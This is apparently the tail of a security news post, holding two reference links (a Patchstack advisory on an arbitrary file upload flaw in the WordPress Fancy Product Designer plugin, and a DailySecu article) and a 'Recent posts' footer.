[5] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-arbitrary-file-upload-vulnerability
[6] https://www.dailysecu.com/news/articleView.html?idxno=162891

+ Recent posts